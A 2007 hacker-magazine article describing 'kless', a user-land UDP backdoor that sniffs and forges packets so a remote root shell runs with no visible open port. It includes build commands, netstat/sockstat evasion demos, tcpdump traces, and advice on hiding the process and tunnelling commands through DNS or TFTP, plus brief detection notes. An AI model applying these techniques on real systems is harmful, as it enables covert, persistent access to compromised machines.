Kless, connecting to void and getting out alive
Number 0x02: 15/02/2007
[ --- The Bug! Magazine
_____ _ ___ _
/__ \ |__ ___ / __\_ _ __ _ / \
/ /\/ '_ \ / _ \ /__\// | | |/ _` |/ /
/ / | | | | __/ / \/ \ |_| | (_| /\_/
\/ |_| |_|\___| \_____/\__,_|\__, \/
|___/
[ M . A . G . A . Z . I . N . E ]
[ Numero 0x02 <---> Edicao 0x01 <---> Artigo 0x03 ]
.> 14 de Fevereiro de 2007,
.> The Bug! Magazine < staff [at] thebugmagazine [dot] org >
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
kless, connecting to void and getting out alive
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
.> 23 de Janeiro de 2007,
.> setuid_ < setuid [at] promisc [dot] org >
< http://setuid.promisc.org >
Index
- 0. Abstract
- 1. Introduction
- 2. User-land backdoor principles
- 2.1. Connecting to a closed door
- 3. Connection-less connection
- 3.1. sniff, sniff!!!
- 3.2. Writing packets
- 4. implementation
- 5. kless-echo
- 6. Adding pepper to the broth
- 7. kless-bd
- 8. The way it could be
- 9. New frontier: multiple binds, TCP, etc...
- 10. Security, is it possible?
- 11. conclusion
- 12. references
0. Abstract
This article try to demonstrate a way to implement backdoors (in user-land) in a system, in a way that allows remote execution of commands using the TCP/IP suite, but without having to open any ports on the server.
The communication is transparent to the client, while the server simulates the TCP/IP stack during execution. The intention of the text and the programs developed as proof of concept is to show the several ways in which it is possible to subvert the security of a system.
1. Introduction
Backdoors are the primary way an attacker maintains access to a system that has been compromised. The evolution of this kind of artifact is common and there are several examples [1] of how they can be implemented, and this paper proposes one more way ;)
The intent of this article is to implement a client/server model for a backdoor that allows remote access using the TCP/IP suite (specifically UDP) but without any port actually being open on the server side at any time during the remote communication, so that it is practically transparent to the client.
The choice of which transport layer protocol to use when implementing the backdoor is exclusively related to the complexity of the implementation. While the implementation using TCP is totally feasible, simulating the TCP stack in all or some of its particularities (tcp handshake, retransmission, ack, syn, rst, window size advertisements, etc...) becomes a highly complex and tedious task for the simple purpose of a backdoor. However the simplicity of UDP allows us a much more simplified implementation for our proof of concept, and serves its purpose of being a datagram oriented transport medium without providing any means of guarantee about message delivery to the recipient.
The reader of this text need not necessarily be familiar with the following items, but it would make it much easier to understand certain parts of the article:
- C [2]
- TCP/IP suite of protocols[3], the interaction between transport layer protocols and the ICMP control protocol[3][4]
- User-land packet construction/capture and existing libraries for this kind of work (libpcap, libnet).
Thanks to: dm, duhru@overt.org, all the guys at #0xff@freenode.net - the last address on the internet ;).
All of the examples listed here were tested on FreeBSD 6.2 and FreeBSD 6.1, but most if not all of the examples/cases illustrated should work on other UNIX distributions available. The source code for the proof-of-concept programs used in the text is available at: http://setuid.promisc.org
2. Principles of Backdoors in user-land
While backdoors in kernel-land can supply and even exceed the capacity and services provided to the user, sometimes it is impossible to manipulate the kernel (either because of lack of knowledge about the system, or because of lack of source code to use - IBM AIX would be a good example of this case, or for other reasons that need not be listed) which does not allow the disqualification of backdoors in user-land even after all the evolution that has occurred in the last 6 years.
In user-land most backdoors that provide remote machine access are either devoid of any means of hiding the access trail (they rely on the inefficiency of the machine administrator :), or they use techniques in which the connection used is available only through steps followed by the client (port-knocking is a good example of this [5]). Both of the above means allow an administrator to detect suspicious activity through simple administrative commands like sockstat(1) or netstat(1), or lsof.
The backdoor developed in this text subverts the way simple TCP/IP-related statements should be regarded:
- Whenever a TCP/UDP port is open there must necessarily be an application receiving/sending data on that port (be it client or server)
- Whenever an administrator notices an open port it is possible to determine which local application is connected to it.
- If a port is not open there can be no communication going in or out on it.
The intention of the text is to subvert the meaning of the first two statements and prove that it is possible to simulate for all intents and purposes situations in which the third statement turns out to be false.
2.1. Connecting to a closed port
While TCP provides a very explicit way of checking whether a TCP port is open or closed through a reset (ACK/RST), UDP uses another mechanism to notify the event of a closed port:
For example, when trying to send a UDP datagram to a port on which there is no process listening, the result is as follows:
---
setuid@zion$ nc -u 192.168.0.102 333
hello world
setuid@zion$
---
---
setuid@zion$ sudo tcpdump -i lo0 "ip proto \icmp or \udp"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo0, link-type NULL (BSD loopback), capture size 96 bytes
06:54:52.887388 IP 192.168.0.102.60490 > 192.168.0.102.333:
UDP, length 12
06:54:52.887407 IP 192.168.0.102 > 192.168.0.102:
ICMP 192.168.0.102 udp port 333
unreachable, length 36
---It is worth pointing out that the "nc" client (netcat) forcibly terminates after being notified that port 333 is closed on the destination host of the packet.
In other words, when the kernel receives a packet, it pushes it down the stack until it reaches the UDP header of the packet when it can determine the destination port of this datagram. The next step is to determine if there is any process waiting for a packet on that port, in our case there was no process, then the kernel sends back to the source address an ICMP packet saying that port 333 is "unreachable", in other words, there is nobody listening on that port.
This is the protocol on how to inform if a UDP port is closed. But the client-side specification is a bit less strict, it allows the client to specify whether or not it wants to be notified about the receipt of this ICMP packet informing that the destination port is closed. Let's illustrate the case better:
Consider a simple UDP client that just sends whatever is typed into stdin and waits for a response from the server [6]. Basically the steps that a UDP client must execute are:
- socket() - get a file descriptor for communication
- capture input via stdin (fgets(), etc...)
- sendto() - sends the received information from stdin
- recvfrom() - receives the information sent as reply.
See the output:
---
setuid@zion$ ./udp-client setuid.ath.cx 333
hello world
---
---
setuid@zion$ sudo tcpdump -ni ath0 "ip proto \icmp or \udp"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ath0, link-type EN10MB (Ethernet), capture size 96 bytes
07:21:39.225719 IP 74.52.16.40.49268 > 192.168.0.103.333: UDP, length 12
07:21:39.225746 IP 192.168.0.103 > 74.52.16.40: ICMP 192.168.0.103
udp port 333 unreachable, length 36
---Note that the client did not exit as in the first test using netcat but waited for the recvfrom() call to return. The difference between the two client applications explains the way a UDP client is notified whether a port is available or not.
netcat' does just one step more than our example client 'udpclient', it makes a call to syscall connect(2). This is a very interesting fact about BSD sockets, when a socket is used with IPPROTO_TCP the function of the connect(2) call is really to try to establish a connection between the two points (doing 3way handshake[3]) however the meaning of connect(2) in an IPPROTO_UDP socket is different.
In UDP there is no concept of connecting to a machine or establishing a connection, at the transport layer there is no guarantee that a packet has reached its destination, this intelligence must be implemented at the application layer, as is the case with TFTP [7]. So if a UDP client calls syscall connect(2) the effect is different than when using TCP.
Asynchronous errors are not returned for UDP sockets unless they have been connected. There is no handshake or anything like that, the kernel simply stores the IP/Port pair of the datagram recipient, so when the recipient system receives the datagram addressed to the closed port and sends an ICMP port unreachable to the source, the source kernel checks if the IP/Port contained in the ICMP message is stored due to a connect(2) call, if so it returns the error to the process otherwise the kernel silently discards the ICMP packet.
3. Connection-less connection
Now that we know how UDP works when it tries to communicate with a closed port, we can already delineate what obstacles we will face to make this backdoor a reality:
- there must be no open port on the server that is related to our communication
- we must be able to receive the information that is directed to this port that will be closed
- we must be able to respond to packets from the client, so that it looks like they are being sent from the port. We cannot use read, write, sendto, etc, since we have no socket.
- the client should ignore ICMP port unreachable packets that will be received since the kernel will identify that our communication is directed to a closed port.
These are our problems, some are easy to deal with and some are not, the most crucial steps are steps 2 and 3 which involve simulating the read/write functions that are normally aided by the use of sockets.
3.1. sniff, sniff!!!
When a packet arrives at a network interface (ethernet, wireless, ppp, etc) it is pushed down the stack so that the kernel can analyze and discard the packet as necessary, for example: MAC address in the header is not the same as the interface and the interface is not in promiscuous mode - discard packet, checksum of the ip header is incorrect - discard packet, and so on.
Importantly, it is possible to use certain interfaces to get a copy of the packets received by one or all of the network interfaces on a system. This copy is independent of the actual processing the packet receives, and this is how tcpdump(1) and millions of other tools around work.
Re-inventing the wheel is an ugly thing to do and sometimes it results in square, rectangular wheels, that's where libraries like libpcap[8] are extremely useful because they concentrate in a single place the effort that would be decentralized and bound to be incomplete.
So we have just solved a large part of our problem, we have already managed with libpcap or any other way to sniff the packets to get an exact copy of the packets that are directed to a port that is closed. Another important point to note is that due to the nature of the UDP protocol we are able to get the contents of the packets (what is really being sent our way, the information itself, not layers of protocols) all at once and with a single packet, which might be different with TCP.
This ability already eliminates the need to open ports in order to receive the data that a client wants to send us. Let's see now how to deal with the other part of the problem.
3.2. Writing packets
The other part of our problem is how to send eventual responses to the client (say it has sent a whoami or id command for example) we want to be able to send it the result of the command, to provide an interactive communication.
The other part of the problem is also solved in a way that does not reinvent the wheel and again gains high portability, libnet [9].
This is probably the simplest part of the code because we have all the relevant information at our disposal: udp src/dst port, ip src/dst address, checksums, payload, additional headers information, etc...
It's just a matter of building the right packet in order to simulate a legitimate response that seems to come from a port that is in fact closed. It is worth pointing out that if we were doing this backdoor using TCP we would have access to all syn's and ack's and everything else which would allow us to easily simulate an authentic response.
Now that we have established our ways of reading and writing a package (read/write ;)) let's implement a simple example to start playing.
4. Implementation
The basic functions we must implement are the read and write functions, respectively, reading a packet from libpcap (using pcap_loop()), and writing a packet back to the network (using libnet_write()).
The rest is the rest, what we do with the transmitted data varies greatly from case to case, and is similar to the abstraction provided by BSD sockets, they guarantee the transmission of data and not what your server/client will implement. So let's do a simple example, an echo server.
5. kless-echo
echo servers are a real wonder when the intention is to have as little work as possible in order to demonstrate that a communication is taking place. For those interested you can read [10].
Kless-echo is a UDP server that answers back to the client "any input it has received", its code is very simple and can be found in [11].
First we compile and run the server:
---
setuid@zion$ cd kless-echo/
setuid@zion$ ls
Makefile README kless-echo.c udp-client.c
setuid@zion$ make
gcc kless-echo.c -o kless-echo -Wall -lpcap -lnet -L/usr/local/lib
-I/usr/local/include/ `libnet-config --libs --defines`
gcc udp-client.c -o udp-client -Wall
setuid@zion$ sudo ./kless-echo -i ath0 -p 333 -d
setuid@zion$ sockstat -4 -p 333
USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS
setuid@zion$ netstat -an -p udp | grep 333
setuid@zion$
---We compile and run kless-echo, configure it to listen on interface "ath0", waiting for packets coming in on port 333/UDP (maybe now is a good time to mention that in order not to receive all the packets, we use the BPF filters to determine that we only want packets filtered by the rule: "udp dst port 333"), the -d puts our server into the background as a daemon. Notice that nothing appears in the output of sockstat, netstat...
On another machine located at another point of the planet we run a tcpdump(1) and the 'nc' slightly changed so as not to exit after receiving the ICMP port unreachable.
---
vlima@cerveau$ nc -u setuid.ath.cx 333
hello world <--- input do cliente
hello world >--- resposta do kless-echo
funcionou <--- input do cliente
funcionou >--- resposta do kless-echo
^C punt! <--- control-c para sair do 'nc'
vlima@cerveau$
---The lines we are interested in from tcpdump running on the client are: (comments start with '#')
---
vlima@cerveau$ sudo tcpdump -n -i rl0 "ip proto \udp or \icmp"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on rl0, link-type EN10MB (Ethernet), capture size 96 bytes
06:49:45.098391 IP 74.52.16.40.58307 > 12.96.160.115.53: 6756+ A?
setuid.ath.cx. (31)
06:49:45.144893 IP 12.96.160.115.53 > 74.52.16.40.58307: 6756 1/5/5 A
201.53.69.175 (227)
# gethostbyname - resolvendo o endereco de IP
# associado ao setuid.ath.cx
06:49:49.728784 IP 74.52.16.40.65120 > 201.53.69.175.333: UDP, length 12
# enviados 12 bytes pela porta 65120/UDP para porta 333/UDP aonde esta'
# rodando o kless echo (hello world\n = 12bytes ;))
06:49:49.934125 IP 201.53.69.175 > 74.52.16.40: ICMP 192.168.0.103
udp port 333 unreachable, length 36
# resposta do servidor rodando kless-echo indicando que a porta 333/UDP
# nao esta' aberta, note que e' um pacote ICMP
06:49:49.937973 IP 201.53.69.175.333 > 74.52.16.40.65120: UDP, length 12
# resposta do kless-echo enviando de volta o que o cliente
# enviou (12 bytes) conforme aparece no output do netcat
06:49:54.065045 IP 74.52.16.40.65120 > 201.53.69.175.333: UDP, length 10
# enviados 10 bytes pela porta 65120/UDP para porta 333/UDP aonde esta'
# rodando o kless echo (funcionou\n = 10bytes :))
06:49:54.228556 IP 201.53.69.175 > 74.52.16.40: ICMP 192.168.0.103
udp port 333 unreachable, length 36
# resposta do servidor rodando kless-echo indicando que a porta 333/UDP
# nao esta' aberta, note que e' outro pacote ICMP
06:49:54.232536 IP 201.53.69.175.333 > 74.52.16.40.65120: UDP, length 10
# resposta do kless-echo enviando de volta o que o cliente
# enviou (10 bytes) conforme aparece no output do netcat
---We also let a tcpdump(1) run on the server where kless-echo is running, this is the output:
---
setuid@zion$ sudo tcpdump -n -i ath0 "ip proto \icmp or \udp"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ath0, link-type EN10MB (Ethernet), capture size 96 bytes
10:48:11.178606 IP 74.52.16.40.65120 > 192.168.0.103.333: UDP, length 12
# recebidos os 12 bytes direcionados para a porta 333/UDP
# (hello world\n = 12 bytes :))
10:48:15.470810 IP 74.52.16.40.65120 > 192.168.0.103.333: UDP, length 10
# recebidos os 10 bytes direcionados para a porta 333/UDP
# (funcionou\n = 10 bytes ;))
---The outgoing interface on the server is not the same as the incoming one, so ICMP port unreachable packets and echo-server replies only appear on the other interface also running tcpdump(1):
---
setuid@zion$ sudo tcpdump -n -i fxp0 "ip proto \icmp or \udp"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on fxp0, link-type EN10MB (Ethernet), capture size 96 bytes
10:48:11.178633 IP 192.168.0.103 > 74.52.16.40: ICMP 192.168.0.103
udp port 333 unreachable, length 36
# o kernel enviando o ICMP port unreachable para o cliente
# pois a porta 333/UDP nao esta' aberta
10:48:11.180195 IP 192.168.0.103.333 > 74.52.16.40.65120: UDP, length 12
# a respota do kless-echo, enviando de volta os 12 bytes enviados pelo
# cliente.
10:48:15.470836 IP 192.168.0.103 > 74.52.16.40: ICMP 192.168.0.103
udp port 333 unreachable, length 36
# o kernel enviando o ICMP port unreachable para o cliente
# depois de receber o segundo datagram.
10:48:15.472310 IP 192.168.0.103.333 > 74.52.16.40.65120: UDP, length 10
# a resposta do kless-echo enviando de volta os 10 bytes do cliente.
---It seems that the client is communicating with an open port, the server thinks that there is no open port, and kless-echo is working independently of all this ;)
The time has come for us to make things more interesting, what if the simple "hello world" were "whoami" and instead of simply repeating what was received it executed that as a command?
6. Adding pepper to bean broth
Those who like bean broth know that it tastes different after you add 3 little drops of pepper. Exactly what we are going to do here. Basically, kless-echo was a small proof of concept to illustrate how our backdoor will proceed. It implemented in a re-usable way the read/write instructions, now we just need to fill the kernel with a way to execute the commands and receive the output.
What we need is a communication channel between two points that is bi-directional in both directions, i.e., I can write/read in one side and in the other side too. There are several ways to achieve this, one of them is the system call socketpair(2).
By executing this syscall we have two descriptors that form a pair, the second step is to create a process that executes the received commands. fork(2), serves this purpose very well, because it has the advantage of inheriting the already open descriptors, so the communication via socketpair(2) is guaranteed. The third step is to duplicate the input and output descriptors of this new process so that we can read/write to its stdin/stdout /stderr, dup2(2) gives us this functionality. By duplicating the descriptor, we tie it to one of the sockets created with socketpair(2) so the communication is direct, whatever is written to the socket will go straight to the stdin of the process created, and the opposite is true for whatever is written to stdout, which will go to the file descriptor...
The last step comes when executing "/bin/sh" via execve(2), with all the hooks already in place: As the stdin / stdout / stderr descriptors have already been duplicated to our pipe with the execution of /bin/sh we have a shell being executed and we have control of its write/read environment, all that is missing is a function that executes the commands, i.e., pipe down a received command and wait for a few milliseconds for the answer, this is the easiest part of the code ;)
7. kless-bd
By providing the functionality of the previous section we have been able to transform some kless-echo code into a functional backdoor, let's test it:
---
setuid@zion$ l
Makefile kless-bd.c
setuid@zion$ make
gcc kless-bd.c -o kless-bd -Wall -lpcap -lnet -L/usr/local/lib
-I/usr/local/include/ `libnet-config --libs --defines`
setuid@zion$ sudo ./kless-bd -i ath0 -p 333 -d
Password:
setuid@zion$ sockstat -4 -p 333
USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS
setuid@zion$ netstat -an -pudp | grep 333
setuid@zion$
---Backdoor is running properly, let's put the sniffers in the right places to check the communication taking place and try to execute some commands remotely.
---
vlima@cerveau$ nc -u setuid.ath.cx 333
whoami <--- comando digitado
root >--- resposta recebida
uname -a <--- comando digitado
FreeBSD zion 6.2-RELEASE FreeBSD 6.2-RELEASE #14: Wed Jan 24 10:37:58
BRST 2007
root@zion:/usr/obj/usr/src/sys/zion.kernel amd64 >--- resposta recebida
^C punt!
vlima@cerveau$
---Our sniffers have captured the following action taking place on the input interface:
---
setuid@zion$ sudo tcpdump -i ath0 -n "ip proto \icmp or \udp and port 333"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ath0, link-type EN10MB (Ethernet), capture size 96 bytes
09:55:55.378125 IP 74.52.16.40.64582 > 192.168.0.103.333: UDP, length 7
# recebidos 7 bytes do comando "whoami\n"
09:56:00.086185 IP 74.52.16.40.64582 > 192.168.0.103.333: UDP, length 9
# recebidos 9 bytes do comando "uname -a\n"
---Now the kless-bd responses from the output interface:
---
setuid@zion$ sudo tcpdump -i fxp0 -n "ip proto \icmp or \udp and port 333"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on fxp0, link-type EN10MB (Ethernet), capture size 96 bytes
09:55:57.456356 IP 192.168.0.103.333 > 74.52.16.40.64582: UDP, length 5
# resposta ao comando "whoami" = "root\n" (5 bytes)
09:56:02.163349 IP 192.168.0.103.333 > 74.52.16.40.64582: UDP, length 134
# resposta ao comando "uname -a"
---This means that now we have a fully functional backdoor, being able to execute commands with super-user permission, because even to execute the backdoor you need this level of access to the system.
Now there are some flaws dependent on our model that make the backdoor a little fragile, points where things could be better.
8. The way it could be
Encryption:
All communication could be encrypted, so as to hide the content traveling over the wires, so that even if one tried to read the packets, nothing meaningful could be seen there. There are several ways to encrypt traffic that would be applicable to kless-bd.
Hiding the process:
Even if it is not listed in the outputs of common tools looking for open ports on the system (sockstat, netstat, and etc...), a simple "ps -axu" would reveal the process running, so when running this backdoor it is good to change the code of it to receive no command line parameters, that is only a ./cmd or something that is not suspicious at all, and already have the port and interface options built into the program. It is also best to use kless in conjunction with some means of hiding the execution of certain processes [12].
Full terminal emulation:
Although this is something extremely difficult and not portable most of the time, this would be a great feature to have. The ability to run virtually any console-based program would be nice for many people.
9. New frontier: multiple binds, TCP, etc...
One thing that kless allows us to see is the possibility of running multiple processes listening (the way kless listens) on the same port. This in no way represents some difficulty of implementation, in fact it's just a matter of building your server in a way to "simulate" the application protocol of the application you are emulating.
The main use of this would be to be able to use ports already open on a firewall in order to communicate between the client and the server. Another use would be to hide the communication occurring as authorized traffic, or at worst as badly constructed packets or some anomalous traffic, but hardly as an attack attempt.
Care should also be taken with the possible logs generated by authentic applications and how they would respond to our "misbehaving" packages.
Good services to be targeted by a multiple bind would be DNS (named) or TFTPD, becoming just a matter of adapting the already existing kless-bd code to the peculiarities of its protocols at the application level, it would be good to use for example the peculiarities of the application itself, as in the case of DNS the identification field of its header, and putting instead of "addresses" to be resolved commands to be executed so that the backdoor itself only executes what comes with that ID, and so on.
Implementing kless or something similar using TCP is a feasible task as already stated in the text, however tedious and possibly more work than useful, but there are cases where it becomes the only option.
There are parts of the TCP protocol that don't need to be implemented making the building of the code an easier process another good way would be to implement a client in a similar way to the server (listening for packets directly in the interface and not in a port using sockets) this way it wouldn't be necessary to implement the protocol correctly, because a copy of the packet (the one that would be in the kernel) would be discarded, and your client would know that it is a packet destined for him, even if it doesn't have the correct SYN for example, the possibilities are immense, just experiment.
10. Security, is it possible?
Obviously, for every way to subvert the security of a system, there is a way to protect and another way to subvert it, and so on.
If on one hand, with kless the administrator loses the ability to use commands like sockstat, or netstat in order to check the existence of processes communicating via UDP, some patches can be applied to the kernel in order to check which processes have opened /dev/bpf for reading or something like that [13].
The fstat command on BSD systems also indicates that a process has an open descriptor for /dev/bpfXX, or there are programs like bpfstat that can read this information directly from the kernel-land and map the relationship: process -> interface on the system.
11. Conclusion
The purpose of this text was to show a way to establish a connection in a way that is transparent to the client and hidden from the server. There are much more effective methods than this, but I am sure that there are cases in which the use of kless or its concept sufficiently satisfies the needs of someone wishing to maintain remote access to compromised machines.
If any reader extends the concept illustrated here I encourage you to contact me for further discussion.
The source code and other projects related to kless can be found at the address below: http://setuid.promisc.org
12. References
- Phrack 61 - Kernel Rootkit Experiences stealth@segfault.net
- The C programming Language Dennis Ritchie, Brian Kernighan
- TCP/IP Illustrated Vol.1 W. Richard Stevens
- Unix Network Programming Vol.1 W. Richard Stevens
- The Bug Magazine 01 - Port knocking hash@gotfault.net
- udp-client.c - kless/udp-client.c
- RFC 1350 - Trivial File Transfer Protocol version 2
- libpcap - www.tcpdump.org
- libnet - www.packetfactory.net/libnet
- RFC0862 - Echo Protocol, por incrivel que parece ela e' uma STD ;) Talvez tenha sido por conta da sua simplicidade. Existem mais ou menos uns 3000 RFC e apenas uns 80 STD, o status de padrao atingido por RFC's apos serem aprovadas pelo IETF.
- kless/kless-echo/
- Confesso que seria bem mais facil escrever um modulo para o kernel que esconda a existencia de um processo, do que um que simule o jeito como kless opera.
- O autor possui um patch ou dois para FreeBSD que imprimem uma mensagem no syslog e no console com o PID de cada processo que abre um descritor para o /dev/bpf e outros pontos criticos do kernel nesse assunto.
